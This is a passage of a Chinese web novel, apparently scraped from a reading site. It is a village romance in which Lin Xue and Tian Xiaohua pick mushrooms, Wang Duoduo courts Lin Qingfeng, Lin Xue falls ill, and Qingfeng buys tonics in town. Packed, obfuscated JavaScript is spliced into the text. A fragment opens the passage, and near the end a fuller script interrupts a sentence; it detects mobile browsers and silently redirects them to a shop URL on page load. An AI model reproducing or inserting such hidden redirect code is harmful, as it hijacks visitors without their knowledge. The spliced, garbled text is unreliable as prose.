d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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田小花似懂非懂,但他想到了严大哥和他说的镇上的那些秀才,叮嘱林雪,“嗯……读书人的事我们都不太懂啦,但是这会在村子里还好说,若是以后真的考上了,林大哥去了镇子里,你要注意莫让他出去乱玩。” “嗯?什么?” 田小花拎着篮子凑过来,小声说,“我听严哥说,镇上那些乡学里的夫子,放假了就会去那条街上吃酒。” 林雪有些迷茫:“那条街?” “就是有那种人的街上啊,他们说这叫去‘行酒令’。” 其实田小花说的也不都对,能送孩子读书的人家大多都是不缺钱的,寒门子弟到底还是少,没有好的夫子,能考上秀才的寒门子弟就更少了。 这个时代里,一些文学天赋极高的读书人考上功名不难,难的是有了功名之后想要当一方父母官造福百姓,是很难的。官场百态,清高的读书人要想做好坐实还是很不容易的。 一些人适应不了官场的气氛辞官之后,便会游历全国。游历途中受他人邀请或是自己主动的去听戏听曲,自然大多都会在一些烟花之地留下精美的文章诗赋。 久而久之,一部分有钱有闲的读书人也把结伴去烟花之地视作一种风雅。而‘行酒令’只是读书人在酒席上的一种娱乐活动,和这些并无必要联系。 林雪半知半解地听懂了一半,他没听懂‘那条街’是什么,但是听出了田小花的担忧,他安慰道,“别担心,小峰哥应当是不会的,他前些日子读书很是用功,今天说要休息,其实也还是帮家里做事去了。” 田小花也只是提了这么一句,“嗯嗯,你心里有数便好。” 两人聊完了,站起身来打算往旁边去找找木耳菜。结果田小花一回头,就看见王多多挽着刘乐儿也往这个方向过来了。 田小花嘴角抽搐,打算当没看到,他拉着林雪往另一边走去。 这时刘乐儿也注意到林雪和田小花两人了,他们几个不对付已经好几年了,但刘乐儿想到姐姐出事那天林山和田大对他们一家的维护,出声喊住了林雪他们。 “喂,林雪,田小花。” 田小花无奈地转过身,“怎么了?” 刘乐儿心里有些紧张,他不由自主地捏着手里的篮子,低着头小声地说,“那天的事,谢谢你们家。” 田小花和林雪两人都没听清,“啊?” 刘乐儿鼓起勇气,“我说,谢谢。谢谢你们两家那天的帮忙。” 哇,刘乐儿他转性了。 田小花惊讶极了,这个刘乐儿看见林雪半句好话也没有,又因为他之前帮林雪回嘴骂过刘乐儿,打那之后,刘乐儿看见他也没什么好话。 但他田小花可不是什么落井下石的人,当下便回道,“不用谢,都是一个村子的。” 林雪看着刘乐儿,觉得他不大高兴,但又实在想知道刘秀儿怎么样了,“那天的事没什么的,你…嗯,你姐姐怎么样了。” “她没事,”刘乐儿不愿多提,“你们是要采菌子吗?那我去那边了。” 林雪说,“我们来摘木耳菜的。” 刘乐儿:“哦,那你们摘吧。”说着就要去拉王多多,“我们走吧。” 这一拉竟是没拉动,王多多刚刚就在东张西望,这会没找到人也不打算走,“他们摘木耳,和咱们又不冲突,我看这边有不少菌子,咱们先看看吧。” 刘乐儿不大乐意,他和林雪又不是一时半会能好了的,但王多多已经过去了,他也不好丢下他自己走掉。 王多多装模做样地找了几个菌子,往林雪那边走了点,状似不经意地说,“林雪,我出门的时候听钱阿嫂说林青峰也和你一块上山的啊?” 林雪没听出来他的意思,王多多向来是站在旁边听刘乐儿说他的那个,他和王多多没什么交情,但也没有过节。 “他去山里了,我和小花一块摘的。” “哦。”王多多应着,心想一会要再来看看,现在他再和林雪凑到一起,该叫刘乐儿看出来了。 又在附近摘了一个菌子后,王多多拎着篮子去找刘乐儿去了。 之后,四个哥儿就在王多多有意无意之下一直保持着不远不近的距离。 那边,林青峰去了林山下捕兔笼的地方,今天笼子里没抓到猎物,他就将笼子里的草拿出来,换了一些新的,又补了一小块萝卜,把捕兔笼掩好,回去找林雪他们了。 路上林青峰想到林雪想和田小花讲悄悄话,就走的慢一些,沿着路割了一些猪草放到背篓里。 磨磨蹭蹭地找到了林雪和田小花摘木耳菜的地方,看见附近还有旁人,林青峰倒是没多在意。 他喊了林雪一声,“小雪。” 回应他的却并不是林雪的声音,而是另一个他没听过的少年的声音。 “林大哥!” 14. “地狱绘卷” 林山听到这声音一愣,他看了看出声的那个人,一时间不确定他是在喊谁。 林青峰确定自己并不认识这个小哥儿,他只是向对方点了点头,就往林雪的方向走,“小雪,你摘多少了?” 林雪奇怪地看着王多多,看的他尴尬地撇过头去才回话,“一半多些。” 林雪将篮子提起来给林青峰看,篮子里铺了大半黑亮小巧的木耳,每一朵都胶质充足,看着就很好吃。 “要不要再摘点,这个我替你拿着。” 林雪还没回话,旁边就贴过来一个人。 “林大哥,我是王多多。”王多多凑到林雪旁边,不着痕迹地撩了一下耳边的头发,把自己耳垂上红艳艳的哥儿痣露了出来。 林青峰伸出去的手在半空中停了一下,接着不容置疑地接过了林雪的篮子,礼貌地冲王多多点点头,“你好,你也是过来摘木耳菜的?” 王多多自觉吸引到了林青峰的注意,就小小地退了一步,没逼那么紧,微微垂着头示意了一下那边的刘乐儿,说,“不是的,我陪乐哥儿过来摘菌子,她姐姐心情不好,我们要多摘些鲜嫩的菌子回去做汤。” 林青峰点点头,以为对方的意思是还没摘好,“那你们继续摘吧,小雪,你还要摘点吗?” 林雪只觉得今天这几人都怪怪的,尤其是刘乐儿和王多多两个,但确实他想再摘一些,这会的秋木耳长的正好,再过几天就会有点老了。 他皱着眉看向林青峰,朝他伸出手,“你将篮子给我吧,我还想再摘点。” 林青峰将背篓放下,从里面拿了一张大叶子出来,把林雪摘的木耳倒进去包好后才将空蓝子还给林雪。 “我去那边等你,等你摘好了一起回去。” “哦,那我快点摘。” 林青峰笑道,“不用快点摘,我走了这么久,刚好可以歇歇。” 林雪满怀疑惑地回去找木耳菜了,他转了几棵树附近,挑了长的好的摘下来放进篮子里,想去找田小花讲悄悄话。 田小花蹲在一丛灌木后面,林雪也过去在他旁边蹲下,小声地说到,“小花,我感觉……额,你在看什么?” 田小花冲着林雪比了个“嘘”,拉着他往灌木丛后面躲了躲,小小声地说道,“我在看王多多。” 林雪也小小声地回,“为什么要看王多多?” 平阳村八卦小能手信誓旦旦地说,“我感觉他要搞鬼了。” 林雪虚心请教,“怎么看出来的?” “今天一看就知道是他拉着刘乐儿过来的,而且,他怎么认识的林大哥?” 林雪也不知道,林青峰向来是闷头做事的,之前还没买书时,他有空就给家里帮忙,后来没事干了连院子都被他扫了一圈,院墙下的杂草拔的一干二净。 等书买回来了,那更是没有林山叫就不出门,上哪去认识的王多多? 田小花咬着下嘴唇思考,王多多到底要干什么? 另一边的王多多本以为林青峰把林雪支开了起码要和他寒暄一下,至少也会问问自己是怎么认识他的吧,结果林青峰说在旁边等就真的到一边树下等着了。 哥儿不能太主动!哥儿不能太主动! 王多多在心里默念,他深吸一口气,有挑战性的汉子才值得他王多多嫁过去,若是今天他王多多一招手就成了,来日别人一招手也能成。 饶是如此,王多多心里还是有些怒意,他向来自诩为全村条件最好的哥儿,没想到林青峰竟会直接无视他。 田小花看了半天,发现王多多只是在老老实实地找菌子,不由得怀疑起自己的直觉,“难道我想多了?” 前些日子那一场秋雨催生了许多的木耳和蘑菇,林雪又挑了满满一篮子木耳,才起身打算回家。 田小花也摘了满满一筐,他家都喜欢吃凉拌木耳菜,尤其是秋天的木耳,只简单的拌一下就能清爽开胃。 两个哥儿为了摘木耳菜走的略微深入了些,这会正顺着原路返回去找林青峰,只是刚一转过几棵连在一起的树,就看见王多多凑在林青峰旁边有说有笑的。 田小花:………… 淦!这个王多多打的竟是这种主意? 林雪也皱着眉头,他上前问道,“小峰哥,你们在说什么呢?” 林青峰见林雪过来了,很是自然地接过他手里的篮子,回答道,“没说什么,你累不累?” “……有一点。” 林青峰起身,将自己坐着的石头让给林雪和田小花歇息,他就是看见这块石头才来这边歇着的,就是怕林雪走累了没处坐。 至于另外两位哥儿,刘乐儿身体很好,摘一会菌子也不觉得累,倒是王多多,他是以自己走累了想休息的理由拉着刘乐儿过来的。 只是来了这边和林青峰搭了半天的话也没见他起身,王多多光是在树下站着,也不知能休息个啥。 王多多见自己暗示半天一点作用没起,反倒是林雪一来林青峰就叫他坐下歇息,心里恨的直咬牙,面上却是笑道,“林大哥和小雪关系很好啊,小雪不常找我们玩,我一直以为他性子很冷呢。” 林青峰:“还好,小雪很好相处的,他身体不好不常出门,你们接触的不多才会觉得小雪性子稍微有点冷吧。” 林青峰想,要是能让林雪多两个村里的其他朋友,他应该回更有朝气一点吧。 王多多一听,喜道,“那之后我们去找小雪玩吧,多说说话就能处好了。” 林雪:………… 我不是很乐意。 他立刻终止了这场令人头疼的谈话,拉着田小花就往山下走,“快要中午了,再不回去该赶不上午饭了。” 王多多也拉着刘乐儿的手臂,“乐哥儿,我们和林雪他们一起回吧。” 刘乐儿:“……哦。” 回村的路上,田小花和林雪心情都很复杂,没怎么说话,反倒是王多多时不时同林青峰搭两句话。 王多多:“林大哥,怎么在村里见不到你啊,你平时都在干嘛?” 林青峰:“我最近在看书,不常出门。” 王多多:“林大哥是要考功名吗?” 林青峰:“是。” 王多多:“你一定能考上的,我们平阳村这些年还没出过秀才呢。” 林青峰:“谢谢。” 田小花听的脑袋疼,他已经开始设想若是王多多真的嫁到林家去该是怎样的一幅地狱画卷了,不成,不能让王多多得逞。 田小花插嘴道,“王多多,你今天怎么这么有空要和我们一起走?” 王多多若无其事地说,“我们不是一个村的吗?刚好在山上遇到了,一起回去也没什么吧?” 田小花看着王多多,目光很冷,“你之前看到我们可没有这么热情,怎么今天就不一样了?” “以前和你们不熟悉,所以不常在一块,以后熟悉了就好了。” 田小花只觉得此时的王多多装模做样的很,谁要和你“以后熟悉”啊。 林青峰此时才后知后觉地想到,这两个哥儿该不会和林雪关系不好吧…… 林青峰心道,差点好心办坏事了。 他上一世有个亲姐姐,性格很是跋扈,要是林青峰敢在她面前和与她关系不好的人聊这么半天,回去怕是要挨削了。以姐度人,要是林雪和这两个哥儿关系不是很好,他这么回了半天的话,怕是回生气的吧。 林青峰打定主意以后尽量离这两个哥儿远一点,如今林雪才是他的亲人,有这么一个懂事漂亮的弟弟,自然是要完事都顺着的。 可怜的王多多,他的爱情还没开始,就已经结束了。 林青峰和几个哥儿一起下山,到了家门口,他对刘乐儿和王多多礼貌性地道了别,“我们到了,再见。” 王多多看着林青峰一点没犹豫地进了林家的院门,瘪了瘪嘴,他挽着刘乐儿往村里走。 走了没一会儿,刘乐儿突然问他,“多多,你是不是喜欢那个林青峰?” 王多多小心地看了一下刘乐儿的脸色,发现他似乎并没有生气,于是就点点头,“是。林大哥他长得很好看,感觉跟村里的其他汉子不太一样。” 刘乐儿也回过味来了,今天王多多应该主要是想来找林青峰才把他拉上的,但他并不在意,王多多和林青峰好不好和他又没有关系,该着急的人是林雪吧,真和王多多成了姑嫂,还不天天气死了。 但是,他不想掺和这事。 “以后你要是想去找林青峰就自己去,我不会陪你去了。” 王多多装可怜:“你生气了吗?” 刘乐儿说,“没生气,我只是不想去找林雪。” 他和林雪单方面对着干已经四五年了,就算他承林叔的情,也不想老是对着林雪那张脸。 王多多想了想,今天差不多算是搭上话了,这样就算他单独去找林青峰也可以打着找林雪的旗号去,确实没必要拉着刘乐儿了。 于是他委委屈屈地说,“好吧,我自己去也没什么的。” ———————— 中午林家做了木耳炒鸡丁,又炒了一盘木耳蘑菇,爽脆嫩滑的木耳菜吃的一家人很是高兴。 饭后,林阿爷说要去田大嫂家一起做衣裳,问林雪要不要一块去。 林雪是个心里藏不住事的,他一有心事就会和田小花说,这会他想到早上遇到的刘乐儿和王多多两人,就想找田小花一起倾诉一下。 于是他对林阿爷说,“我就不去了,阿爷,你见到小花叫他过来找我说说话呗。” 林阿爷笑道,“早上你两就一块上山的,怎么还没说够啊?” 林雪有些不好意思,“阿爷你反正也是去找田大嫂一起的,小花在不在不影响的。” 林阿爷:“行,一会我叫他过来。” 林阿爷收拾了一些针线布料去了隔壁的田大嫂家,没一会儿,田小花就风风火火地过来了。 两个哥儿进屋去说悄悄话去了,林山去临水村杀猪还没回来,家里就剩下林青峰和林爷爷两个人。 林青峰叹了口气,行吧,林雪这时而害羞时而活泼的样子也挺可爱的。他干脆把书拿出来,到院子后面一边劈柴一边读书去了。 林雪拉着田小花进了屋,仔细地把门掩好,第一次主动地和田小花讨论起八卦,“小花,你说早上那个王多多怎么怪怪的?” 田小花也憋得不行了,从山上下来的路上他就想说了,奈何那里并不是一个聊天的好地方。 “我怀疑,王多多喜欢林哥。” 林雪惊讶地说,“不会吧,小峰哥才来几天啊?” 田小花不愧事平阳村第一八卦小能手,对于怎么说亲这件事分析的头头是道:“你想啊,林哥长得好看,又勤快,光这一点就比村里不少的汉子高强了。今天他又知道了林哥在读书,这就代表林叔很喜欢林哥,不然不会供他读书的。” “既然这样,林哥不管考不考的上,他都不担心。就是考不上,林哥也会打猎,以后他不愁吃穿;要是考的上了,他以后就是秀才夫郎了。” 田小花笃定道,“所以,喜不喜欢又有什么关系呢,他之后一定会想办法来找林哥的。” 林雪纠结道,“小峰哥不喜欢出去乱逛,他来找小峰哥不就得来我家吗?” 田小花:“我猜他会直接说是来找你的。” 林雪:………… 完了,想想就绝望。 林雪苦着脸,“我不想他来找我,也不想他来我家。” 田小花也愁啊,林雪性格太好了,王多多真的来了的话,怕是被欺负了也还不知道。 你就看看那个刘乐儿,被王多多当枪使了多少回了,还觉得王多多是好人呢。每次他两一和谁有点摩擦,出头椽子永远都是刘乐儿,王多多就躲在后面名声半点没受影响。 田小花出主意道,“要不那个王多多来了之后你就去找林哥,反正他也是冲着林哥来的,你不如直接带他去找林哥,交给林哥解决?” 林雪:………… “要是解决着解决着,王多多真的嫁过来了怎么办?” 田小花艰难地说,“也…也不一定,不是说读书人都聪明吗,林哥又很照顾你,应当不会让你为难的。” “再说了,那王多多又不怎么好看,今天林哥都没和他说多少话。” 林青峰同林雪说话大多是关心 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田小花:“严大哥年后也要考,之前我娘听村里人说要是严大哥考上功名了就不要我了,还一直催我给严大哥做身衣裳。” 林雪莞尔,“严大哥不会不要你的,他当初追你都追到村里来了,那么喜欢怎么会说不要就不要呢。” 听到林雪的调侃,田小花难得有些脸红,他也是很相信严大哥的,只是考上功名了之后就和他们这些农民不一样了,心里多少还是有点忐忑。 就是再怎么样被村里人夸聪明,田小花也还只是个十五六岁的孩子,或许看起来会有些成熟,但内心还是同小孩子一样会患得患失。 田小花在林雪这里呆了一整个下午,又蹭了个晚饭才回去。 傍晚时分,林山从隔壁村回来了,还带了两斤猪肉回来,这是帮邻村的人杀猪人家给的报酬。 林家饭桌上不缺肉,田小花走的时候还被林山塞了一斤猪肉回去。田小花到家不免又被他娘亲数落了一顿。 “怎的连吃带拿的,一会把家里的菜和鸡蛋拿些给小雪家。” 村里的日子总是过的飞快,林青峰又去了镇上两趟,找于秀才换了两次书,中间还请于秀才帮他改了一下他学书上着作的诗。 林青峰带过去的诗看的于秀才直叹气,又附赠了一本诗集给林青峰,让他回去多读读名家诗集。 到了小雪(节气)这一天,天气骤然变冷,直接下起了小雪,饶是林家有所准备,林雪还是病倒了。 林山赶紧将炉子支出来,在林雪屋里点上了炉子,又匆匆赶去镇上买药。 林青峰被林阿爷叫过来帮忙照看一下林雪,屋外下起了雪,一些还没卖掉的皮子和院子里养的那只野猪都要收拾照看。 林雪此时发起了烧,药还没拿回来,现在只能物理降温。林青峰用凉毛巾盖在林雪头上,又用屋里的小火炉烧了一壶开水,里面泡了红枣,等林雪醒了就劝他喝点热水再睡。 林雪从昨天夜里就突然发起烧来,还伴有咳嗽、无力的症状,早上有一会儿温度略微降下去了,林雪才勉强睡着。 林青峰在屋里看着火炉,还要时不时地撑开门帘通风,以免屋中出现一氧化碳浓度过高的现象。 他看着林雪病了之后更显苍白的脸色,心中担忧极了,他觉得林雪的症状像是气虚引起的免疫力低下,因此一受凉就容易感冒发烧。 但如今也没有感冒灵给他喝,更没有现代的退烧药来吃,林青峰只能尽力地想点什么办法给林雪补补。 林青峰打算等林雪病好了之后试着做一做补气的汤给林雪喝,之前秋天的时候林雪看起来只是有点虚弱,林青峰还以为林雪只是单纯的身体有点虚,现在看来要比他想象的严重一些。 林山早上是借了田大家的牛车去的镇上,匆忙地买了药回来也已经中午了,等到林雪喝完了中药又睡下之后一家人才松了口气。 林阿爷又匆匆地煮了疙瘩汤给家里的几个汉子当午饭,等一切都收拾妥当了已经下午两三点了。 这场小雪来的快下的急,但地上到是没有积多少雪出来,像是下了雨之后湿漉漉的样子。 村里家家户户都在收拾屋子,将冬衣拿出来,棉被也抱出来,虽然来不及晒了,但紧急御一下寒还是可以的。 这时,林家的院门被敲响了,林青峰还以为是田小花过来陪林雪来了,过去打开门一看,却是另一个人。 “你是……王多多吗?” 王多多惊喜道,“林大哥你还记得我?我听隔壁的婶子说小雪病了,就过来看看他。” 林山早上匆匆赶着牛车去镇上的场景村里人大多都看到了,一猜就知道是林雪又生病了,王多多听了信赶紧拿了几个鸡蛋还有一些菌子过来“探望”了。 林青峰本不想留他,但人家都亲自上门来看了,也不能不让人进来坐坐,就带他到堂屋里坐着。 “小雪刚喝了药睡下,我就不带你进去了。”林青峰给王多多倒了一杯热水。 村里不兴喝茶,最次的茶叶也都比糖还要贵上一些,村里人招待客人大多是倒杯水,再拿上一些瓜子饴糖放在桌上。 如今林雪还病着,也没那个心情叫王多多嗑瓜子,林青峰便只是给他倒了杯水。 好在王多多的目的也不在林雪身上,林雪睡着还正好不影响他发挥。 他双手捧着碗喝了一口,寒暄了两句,“昨天的雪下的太突然了,我们都没想到呢。” 林青峰点点头,“是挺突然的,家里都没准备好就降温了,小雪身体底子弱些,就受了风寒。” 王多多赶紧做出一副关心的样子,“小雪现在如何了?” 林青峰:“烧退了一些,应当没什么事了。” 王多多垂着眼,:“没什么事就好……对了林大哥,你以后是都在林叔家了吗?” 林青峰:“嗯。” 王多多低着头,脸红红的,“那我以后能常来找你说说话吗?” 林青峰还没回答,屋里的林雪似乎就醒了,“外面是谁?小峰哥?” 15. 你是个好哥儿 林雪要被吓坏了,他半睡半醒间仿佛听到了王多多的声音。那天田小花形容的“王多多嫁入林家成为他的嫂子”的恐怖画面立刻出现在了林雪脑海中。 他勉强撑着身体坐起来,扬声问道,“外面是谁?小峰哥呢?” 王多多虽然不满林雪打断了他和林青峰的谈话,但还是做出一份惊喜的样子:“小雪醒了?” 他可没忘自己是用什么理由来林家的,当下就作势要进去探望一下林雪,结果还没站起来呢,就被林青峰给拦住了。 林青峰说:“你在这等一等,我过去看看。” 林雪的房间是和堂屋连在一块的,林青峰推门进去后,就看到林雪靠在床头,皱着眉盯着门看。 林青峰关心地问道,“怎么了?还烧不烧?” 林雪眼神迷茫:“不、不烧了,外面是谁?” 林青峰小声说了一句“失礼了”,就用手背试了一下林雪额头的温度,确定真的不烧了,才放下心来,说,“外面是王多多,他说他过来探望你。” 林雪沉默了,在村里这么多年了王多多这还是第一次来“探望他”,明明心里知道他只是装模做样的,林雪也不知道拒绝他比较好。 林青峰观察了一下林雪的脸色,觉得他应该并不想见外面那个哥儿,就体贴地给了他一个借口,“发烧刚退,你要是还有些累就再休息一会,我让他先回去,自己的身体要紧。” 听到这话,林雪抬起双眼看着他,眼神里有一丝期待,“可以吗?” “当然可以。” 林青峰从屋里的小火炉上倒了杯水给林雪,看着他捧着水小口地喝了一口,才走出房间。 王多多在堂屋里等的已经有点不耐烦了,他才刚和林青峰说上两句话,就被人打断了,心情自然是不爽的。 他见林青峰出来了,却又做出他惯常的一副好脾气的样子,颇为关心地询问林雪的情况:“小雪还好吗?” 林青峰没有正面回答这个问题,他只是说,“小雪刚醒,不好见外人,他很感激你过来看他……今天天色不好,一会要是下雪了就走不了了,我先送你回去吧。” 这就纯属瞎说了,昨日那场雪来的急去的也急,现在外面的雪早就停了,还出了一点阳光,只是天气依旧冷,刮着冷风,但怎么看也不像是“一会要下雪”的样子。 王多多听的心里一梗,他还巴不得一会走不了呢,这才刚来就要回去吗? 虽然他心里一百个不愿意,但一时又找不到什么好理由留下来——林雪不用探望——他只能闷闷地说了一句“好吧。” 他就算再迟钝,也看出来林青峰对他没什么想法了,他脑子里胡思乱想着,难道林青峰不喜欢哥儿,他喜欢女人吗? 村里的人大多都很朴实,他们不懂什么情啊爱啊,也不追求什么至死不渝的爱情,家庭合适,不讨厌对方,就可以找媒人上门提亲。 王多多自认为他和林青峰是门当户对——他家给他备的嫁妆虽少,但林青峰也是后来才到林家的汉子——而且他王多多也算是村里的数的出来的漂亮哥儿了,他都这么主动了,没道理林青峰一点都看不出来啊? 就这么胡思乱想着,林青峰带着他走到了村子中央。 “你家在哪个方向?”林青峰问道。 王多多回过神,他随手一指自己家的方向,又说起了别的事,“林大哥,你觉得我怎么样?” 林青峰:“你是个好哥儿。” 王多多可能没听说过“好人卡”这种事,他觉得自己似乎还有希望,“那你喜欢哥儿吗?” 林青峰依旧老实回答,“我明年要考童生了,不打算说亲。” 林青峰又不是直男,他当然能看的出王多多对他的意思,但他无意和别人发生一段感情,因此还是尽早说明比较好。 王多多咬着嘴唇,他知道林青峰要考功名了,但是要等他真的考上了,就更没自己什么事了,所以才在听说林雪生病了就赶紧找借口过来。 他不想轻易放弃,就说起了田小花,“林大哥知道田小花的汉子吗?” “他是跟着临水村夫子读书的,但他和小花去年就定了亲事。现在林大哥要考功名,我也会一直支持你的。” 林青峰假装没听到,这种时候回什么都不合适,还不如不回。 王多多咬咬牙,现在村里的路上一个人也没有,他说什么别人都不知道,这会再不挑明了,下次他就不一定能找到借口去林家了。 “林大哥,我之前在村里见到你帮小花家里卖粮食,我、我那天一见到就喜欢上你了,我也支持你考功名,你……嗯…汉子还是要早些说亲的,你觉得呢?” “我觉得……你家应该到了。” 林青峰将王多多带来的篮子递回给他,十分体贴地替他敲了敲家门,最后还礼貌地说了一句“再见。”,就头也不回地走了。 王多多幽幽地盯着林青峰的后背,只觉得方才那一通明示暗示都是在对牛弹琴。 林青峰将王多多送到家之后就没有再把他的事放在心上,林雪病倒的太突然,他不得不赶紧开始考虑林雪的体质问题。 晚上吃饭的时候,林青峰对林家人表达了他明日想上镇子上一趟的意思,他想去镇上的医馆看看买些参片山药之类的具有滋补性质的中药,顺便将他抄的几册书带去书铺。 林山没反对,平阳村离镇子不算太远,林青峰这段时间也一直有再锻炼,半天时间来回一趟也完全足够了,但他还是叮嘱道,“路上多注意……唉,早知道就不急着把田大家牛车还回去了。” 林青峰说,“没事的,上午借牛车是要急着给小雪去拿药,我脚程快,中午之前就能回来了。” 翌日清晨,林青峰吃完了早饭就带着他手抄的册子和一些零碎的钱去了镇上,到了镇上后他先去了书铺,在书铺那里找到了卖书的吴掌柜。 林青峰将他这段时间抄录的一册经文句集注交给吴掌柜,又问道,“掌柜的,你这里有没有医书,或者有没有教人怎么养身的书?” 吴掌柜奇怪地说,“你要医书干什么?” 林青峰:“家里的弟弟体虚,我想找找有没有能教人强健身体的书。” 吴掌柜思考了一下,他这书铺不止卖科考相关的书籍,也卖许多游记话本,但并不是所有进的书他都看过,于是他就给林青峰指了一个位置,“那边有许多游记杂书,你自己去那里找找,若是找不到那就是没有了。” 林青峰谢过吴掌柜,到了摆放杂书的地方。 平阳村书铺里用的架子同后世的书架的类似,只是要更矮些,上下共四层,上面按照简单的分类摆放了一些书籍。 林青峰简单地翻看了一下,最高的那层,也就是同视线差不多平齐的那层摆放的是一些地方游记还有几本诗集,放在这里的诗集一般都是不如何出名的诗人所作,他们大多不太出彩,少有读书人愿意买这些诗集。 在下面就是一些杂书了,有记录当地大小事情的,有描述某个城市风土人情的,也有一些浅显的工具书,臂如讲如何使用算盘的《数珠算法》、介绍房屋风水的《宅屋风水论》等等。 林青峰在里面翻看了半天,终于找到了一本他想要的书,这本书上认为一个人修心的前提是要修身,即需要有一个健康的身体,接着就主要开始讲解如何才能健康的对身体有益的生活。 林青峰没想到真的能找到这种书,他有心想让林雪锻炼一下身体,增强自身的免疫力,但又担心按照他的想法去叫林雪跑步深蹲反而会令他的身体加重负担,现在有了这本书,就能按照书上的一些方法按部就班地来了。 吴掌柜见林青峰手里拿了一本书,就问道,“可找到需要的了?” 林青峰点头,“是,这一本书上有一些保养身体的法子。” 吴掌柜感慨道,“你这个后生同我见的读书人都不一样,我第一次见读书人为了家人来找书的。” “我家中亲人供养我读书已经很是辛苦了,如今他们身体不好,我理应也该为他们尽一尽自己的绵薄之力。” 吴掌柜笑了笑,有的人是这样想的,但也有人不是。你看之前乡学里的有个老秀才,听闻家中老母生病了还要担忧没人供他束脩了呢,只是这话就没必要说给这后生听了。 “你这几本抄本就按照上次说的每本一百五十文,这三本一共是四百五十文,减去你要的这本书一百文,一共是三百五十文。” 吴掌柜点了三百五十文给林青峰,嘱咐道,“抄本的话,这段时间只再收一册,注意莫抄多了。” “我晓得了,多谢掌柜。” 林青峰将买来的书放进随身的包裹里,吴掌柜给的铜钱也好好的收起来了,又去了这条街上的其他铺子里买了两沓宣纸和一支新毛笔。 林青峰看了一眼天色,他刚一吃过饭就往镇子这走了,如今天色还早,他打算好好逛一逛乡宁镇。 乡宁镇虽然不大,但也是按照古代城镇的标准来建的。镇子中央是官府,城的东北角是乡学还有一部分居民区,西北角大多是一些地主或是商人家的宅子,住在这里的非富即贵,城南则大多都是商铺买卖之处,东南卖一些普通百姓家不常买的东西,例如书籍、高档成衣、外来的稀罕货物等,西南角则大多是粮食铺、平价布铺、蔬菜瓜果之类。 林青峰在镇子上逛了逛,在一家干货铺子里买了红枣枸杞,又买了点外来的果干尝尝鲜,之后就去了林山常去的那家药铺。 那药铺的伙计还是先前的那一个,虽然林青峰只来过一次他却还记得林青峰,“啊,你是林叔家的,昨天的药不管用吗?” 林雪吃的药一直是这家药铺的大夫开的,昨天林山匆匆借了牛车就是来这里买药,此时门口的伙计见林家又来人了还以为出了什么问题。 林青峰摇摇头,“多谢挂念,药很好,小雪已经不烧了。我今日来是要买些别的药。” 那伙计于是走到柜台后,此刻店里没什么人,就只留了他一人在前面看着,他虽不会看病,但抓药还是会的。 那伙计问,“你要抓什么药?有方子没有?” 林青峰:“没有方子,我只想拿一些补气的中药,例如山药参片等。” 伙计说,“山药我能抓给你,但参片得要大夫同意才能抓。你要这些干什么?” 林青峰说,“我想拿这个煮些汤水给小雪补补。” 那伙计吓了一跳,他还是第一次见有人自己想了几味药说要煮来吃,“这是你自己想的方子?怎能乱吃呢,这要是吃坏了怎么办?” 林青峰耐心解释道,“这不是乱吃的,这两样都是再温和不过的,就是和肉汤一起煮也是没关系的。” 现代就常用山药来煮汤,山药治脾虚咳嗽,温补而不骤,微香而不燥,能补脾养肺,驱寒热邪气。至于参片,更是滋补药中的重中之重,他买这几味中药回去,也只是想时不时地给林家人煮一顿补气健体的汤喝喝。 那伙计还是不放心,林雪在他们家看病看了十几年了,可别自己买药买回去给吃坏了,他劝道,“不然你去后面找大夫问问,总归现在大夫都不忙,若是大夫同意我就给你抓,可好?” 药铺的伙计如此细心负责,林青峰就向他道了谢,同他一起去了药铺后面给病人看病的地方。 正巧今日值班的大夫正是平时给林雪开药的那位大夫,他听了林青峰的来意,捋了捋自己的胡子,说,“你要的这两样的确是滋补的中药,只是若是不按方子来吃,药效多少难以控制,不如我给你开一份食补的方子,你按这个拿药吧。” 林青峰向大夫深深鞠了一躬,“如此甚好,多谢大夫了。” 这位大夫姓柳,他当下就摆摆手,说道,“不过是本职工作罢了,你来这拿药,我定是要按照情况给你开合适的药方的,只是这个食补的方子虽然简单,但价格也略为昂贵,你若是要我就给你开上两幅。” 林青峰交了方子与药材的钱,拿到了两份食补的中药。 大夫担心他不识字,就将方子上的用法念给他听了一遍,还嘱咐道若是忘记了可以拿着这个方子去找村里识字的人,他在方子上写的很清楚了。 林青峰看着手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425464|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个食补方子,这上面是一个简单的十全大补鸡的食谱,上面细致地写了做法和药材的用量。 他将方子收好,对大夫说,“多谢大夫,这上面写的很清楚。” 柳大夫惊讶道,“你认得字?” 这里的读书人,不管考没考上功名,大多都穿着长衫以示和旁人的不同,而林青峰穿的一直都是普通的打卦,与下地干活的农民没什么不同。 这也是柳大夫以为林青峰不识字的原因,他惊讶地问林青峰,“可准备考功名了?” 林青峰说,“还在准备中,等年后就去考童生试了。” 柳大夫点点头,“准备考功名好啊,若是你能考上功名,林山也能将小雪带来镇上一块住了。” 柳大夫今年已有五十高寿了,他一直便这镇上的医馆里当大夫,林雪出生没多久就到他这里看了。 他知道林山打猎勤快,不缺钱,先前有一年林雪的烧怎么都降不下去,柳大夫就建议林山搬来镇上住,但那是林家只有林山一个青壮年,搬来镇上又要断了生活来源——毕竟林家是靠打猎为生,自然要住在山附近。 但现在不同了,上次林山跟他说家里多了一个小子,以后可能会跟着他学打猎,他就知道林山是打算将这个小子当成自己的继承人。 若是有这么个人一起照顾着也好,就算不打猎能考上秀才乡学每月有六斗粮食的补贴。到时候林家阿爷跟着搬来镇上,林山去打猎,也不算断了经济来源,林雪也能随时过来看看。 柳大夫笑道,“小后生读书要用功啊,林山家可就指着你了。” 考上秀才了就意味着你的身份阶层从根本上就发生了变化。普通的平民是白身,见了县太爷或是有官在身的大人都要行跪拜大礼。而秀才见地方官可不拜,能免二百亩粮税,能使用奴婢,而且秀才不可随便用刑。 一般人都不会同有功名的人家起摩擦,那林家要是搬来镇上来居住就有保障的多了。 